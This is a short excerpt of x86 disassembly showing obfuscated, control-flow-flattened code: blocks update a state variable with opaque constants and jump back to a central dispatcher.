jmp 0x4127ba
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x194]
mov edx, dword [edx]
mov esi, dword [ebp - 0x190]
imul esi, dword [esi], 0x14
add edx, esi
mov edx, dword [edx + 0x10]
sub eax, 0x4ef804e7
add eax, edx
add eax, 0x4ef804e7
mov edx, dword [ebp - 0x180]
mov esi, dword [edx]
shl esi, 2
xor edx, edx
sub edx, esi
sub eax, edx
mov dword [eax], ecx
mov dword [ebp - 0x1d4], 0xdd0b1b12
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0xaca26d96
jmp 0x4127ba
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x1d4], 0xb2e3caff
jmp 0x4127ba
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1d4], 0x64a17eb1
jmp 0x4127ba
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x1d4], 0x56320a2e
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x65800ec4
jmp 0x40ee38